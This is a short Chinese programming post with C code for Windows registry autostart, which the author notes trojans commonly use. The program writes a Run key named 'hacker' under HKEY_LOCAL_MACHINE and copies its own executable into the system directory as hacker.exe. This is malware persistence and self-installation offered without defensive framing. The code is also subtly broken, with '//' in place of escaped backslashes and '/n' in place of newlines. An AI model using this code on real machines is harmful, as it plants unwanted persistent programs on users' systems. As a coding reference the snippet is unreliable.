天天看点

VC++实现注册表自启动

这种情况,木马用的比较多。。。

#include <stdio.h>
#include <windows.h>

int main(void)
{
	char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";
	HKEY hkResult;

	int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
	
	ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/
		,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25);
	if(ret==0)
	{
		printf("success to write run key/n");
		RegCloseKey(hkResult);
	}
	else 
	{
		printf("failed to open regedit.%d/n",ret);
		return 0;
	}

	char modlepath[256];
	char syspath[256];

	GetModuleFileName(0,modlepath,256);//取得程序名字
	GetSystemDirectory(syspath,256);
	ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1);
	if(ret)
	{
		printf("%s has been copyed to sys dir %s/n",modlepath,syspath);
	}
	else 
		printf("%s is exisis",modlepath);
	return 0;
}